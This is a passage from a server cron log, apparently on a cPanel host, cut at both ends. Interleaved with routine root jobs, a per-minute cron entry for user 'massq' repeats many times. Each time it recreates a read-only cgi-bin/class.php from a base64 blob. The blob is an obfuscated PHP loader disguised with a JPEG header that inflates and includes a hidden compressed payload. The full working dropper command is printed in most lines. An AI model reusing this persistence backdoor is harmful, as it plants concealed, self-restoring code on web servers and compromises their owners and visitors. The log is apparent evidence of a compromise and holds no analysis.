0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 11:06:01 server CROND[8901]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 11:07:01 server CROND[9030]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 11:08:01 server CROND[9099]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 11:09:01 server CROND[9189]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 11:09:01 server CROND[9190]: (root) CMD (/usr/sbin/csf -u)
Apr 10 11:09:01 server CROND[9191]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 10 11:10:01 server CROND[9332]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 11:10:01 server CROND[9333]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 11:10:01 server CROND[9334]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 11:10:01 server CROND[9335]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 11:11:01 server CROND[9571]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 11:12:01 server CROND[9662]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 10 11:12:01 server CROND[9663]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 11:13:01 server CROND[9783]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 11:14:01 server CROND[9850]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 11:15:01 server CROND[9917]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 11:15:01 server CROND[9918]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 11:15:01 server CROND[9919]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 11:16:01 server CROND[10215]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 11:17:01 server CROND[10290]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 11:18:01 server CROND[10360]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 11:19:02 server CROND[10593]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 